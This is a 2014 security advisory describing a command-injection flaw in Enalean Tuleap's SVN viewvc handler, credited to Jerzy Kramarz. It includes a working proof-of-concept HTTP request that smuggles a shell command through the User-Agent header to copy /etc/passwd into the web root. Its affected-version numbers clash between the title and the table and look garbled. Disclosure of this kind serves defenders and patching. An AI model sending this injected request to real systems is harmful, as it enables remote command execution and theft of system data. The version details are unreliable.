Vulnerability title: Tuleap <= 18.104.22.168 Remote Command Execution in Enalean Tuleap
|Affected version:||22.214.171.124 and earlier|
|Reported by:||Jerzy Kramarz|
Tuleap does not validate the syntax of the requests submitted to SVN handler pages in order to validate weather request passed to passthru() function are introducing any extra parameters that would be executed in the content of the application.
This vulnerability can be exploited by external attackers to introduce external commands into the workflow of the application that would execute them as shown on the attached Proof Of Concept code below.
GET /svn/viewvc.php/?roottype=svn&root=t11 HTTP/1.1 Host: [IP] User-Agent: M" && cat /etc/passwd > /usr/share/codendi/src/www/passwd.txt && "ozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://[IP]/svn/?group_id=102 Cookie: PHPSESSID=2uqjkd0iupn84gigi4e1tekg95; TULEAP_session_hash=362a9e41d1a93c8f195db4ccc6698ef5 Connection: keep-alive Cache-Control: max-age=0
Note: In order to exploit this vulnerability a user needs to be in position to see SVN repository. In this instance the SVN repository was named “t11″.
Complete loss of confidentiality and integrity of the affected system.
Exploit code is not required.
|15/09/2014||Vendor working on a fix|
Copyright © Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user’s risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.